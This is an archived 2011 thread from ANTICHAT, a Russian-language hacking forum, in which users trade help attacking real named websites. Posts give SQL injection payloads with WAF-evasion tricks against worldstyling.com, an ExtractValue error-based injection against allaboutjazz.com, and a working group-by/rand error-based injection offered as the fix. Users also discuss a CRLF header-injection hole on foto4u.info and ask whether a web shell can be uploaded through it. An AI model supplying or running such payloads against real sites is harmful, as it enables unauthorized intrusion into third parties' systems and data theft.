ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
09.12.2011, 02:57
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от SergioBlog
SergioBlog said:
Реально ли залить картинку с пхп кодом внутри и сохранить этот код после обработки?
В начале файла добавляется: CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
ну и пхп код сносит само собой
нет.
|
|
|
09.12.2011, 04:08
|
|
Guest
Сообщений: n/a
Провел на форуме:
35174
Репутация:
-6
|
|
Sorry for bringing back WAF topic.
I have read all articles on SQL Injection in antichat so don't think should be given again.
Код:
Code:
http://www.worldstyling.com/web/product_detail.php?id=-95/*!UnIoN+SeLeCt*/1,2,3,4,5+--+
Once I want to get union it tells Not Found, Not Found. |
|
|
|
09.12.2011, 04:09
|
|
Guest
Сообщений: n/a
Провел на форуме:
771
Репутация:
0
|
|
www.allaboutjazz.com/php/article_archive.php'
как раскрутить? Использование пробелов в корне запрещено
www.allaboutjazz.com/php/article_archive.php'or(ExtractValue(1,concat(0x3a, version())))='1
пишет FUNCTION allaboutjazz.ExtractValue does not exist
какие еще могут быть варианты?
|
|
|
|
09.12.2011, 04:10
|
|
Guest
Сообщений: n/a
Провел на форуме:
35174
Репутация:
-6
|
|
Код:
Code:
http://www.worldstyling.com/web/product_detail.php?id=95/*!UnIoN!*/+/!*SeLeCt*!/1,2,3,4,5+--+
tried all WAF solution, nothing comes.
And also, checked souurce. |
|
|
|
09.12.2011, 04:37
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от lightangel
lightangel said:
Код:
Code:
http://www.worldstyling.com/web/product_detail.php?id=95/*!UnIoN!*/+/!*SeLeCt*!/1,2,3,4,5+--+
tried all WAF solution, nothing comes.
And also, checked souurce. http://www.worldstyling.com/web/product_detail.php?id=95'+or+1+group+by+concat_ws( 0x3a,version(),rand(0)|0)+having+min(0)--+
|
|
|
|
09.12.2011, 14:03
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
Провел на форуме:
415091
Репутация:
5
|
|
Народ, что это ?
Код:
Code:
http://foto4u.info/go.php?link=video&s=100&url=%0d%0a%20SomeCustomInjectedHeader%3ainjected_by_wvs
|
|
|
|
09.12.2011, 14:05
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от XAOCX
XAOCX said:
Народ, что это ?
Код:
Code:
http://foto4u.info/go.php?link=video&s=100&url=%0d%0a%20SomeCustomInjectedHeader%3ainjected_by_wvs
acunetix
|
|
|
|
09.12.2011, 14:06
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
Провел на форуме:
415091
Репутация:
5
|
|
Сообщение от Gorev
Gorev said:
acunetix
Что с этим можно сделать ?
|
|
|
|
09.12.2011, 14:57
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от XAOCX
XAOCX said:
Что с этим можно сделать ?
SomeCustomInjectedHeader
переведи и подумай...
|
|
|
|
09.12.2011, 15:39
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
Провел на форуме:
415091
Репутация:
5
|
|
Сообщение от Gorev
Gorev said:
SomeCustomInjectedHeader
переведи и подумай...
Шелл получится залить ?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид